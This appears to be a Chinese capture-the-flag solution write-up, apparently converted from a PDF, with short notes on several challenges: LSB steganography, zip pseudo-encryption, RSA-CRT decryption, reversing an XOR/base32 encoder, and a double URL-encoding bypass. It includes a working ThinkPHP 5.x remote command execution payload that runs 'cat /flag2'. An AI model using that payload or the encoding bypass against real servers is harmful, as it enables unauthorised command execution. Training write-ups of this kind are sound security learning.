1
pdf_converter
ThinkPHP 5.x远程命令执行漏洞分析与复现 - 渗透测试中心 - 博客园
s=index/think%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=cat+%2Fflag2
三原色值0-255（八位二进制），修改颜色码低位可隐藏信息
红绿蓝三色最低位
2、
解压遇到伪加密、crc报错的问题
修改两处0900，修改STORED("压缩方式字段，0表示未压缩，8已压缩")
3
import gmpy2
from Crypto.Util.number import long_to_bytes
p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
I = gmpy2.invert(q,p)
m1 = pow(c,dp,p)
m2 = pow(c,dq,q)
m = (((m1-m2)*I)%p)*q+m2
print(long_to_bytes(m))4
python">import base64def encode1(ans):s = ''for i in ans:x = ord(i) ^ 36x = x + 25s += chr(x)return sdef encode2(ans):s = ''for i in ans:x = ord(i) + 36x = x ^ 36s += chr(x)return sdef encode3(ans):return base64.b32encode(ans)flag = ' '
print 'Please Input your flag:'
flag = raw_input()
final = 'UC7KOWVXWVNKNIC2XCXKHKK2W5NLBKNOUOSK3LNNVWW3E==='
if encode3(encode2(encode1(flag))) == final:print 'correct'
else:print 'wrong'对final进行decode3（2（1（final）））：
XOR36,+25——-25，XOR36
+36，XOR36——XOR36,-36
decode
5.1
函数定义之初没有定义变量p，导致上面字符串处理的结果被储存到p中
要作用于下面的字符串就自己写：
str="55,56,54,79,115,69,114,116,107,49,50"
s=str.split(",")
a=""
for i in s:i = chr(int(i))a = a+i
print(a)5.2
“authenticate？”
index.php能正常访问
index.phps查看源代码:经过urldecode后等于"admin"——进行两次url编码
浏览器会自动进行URL解码，%要进行编码：%25
%2561dmin
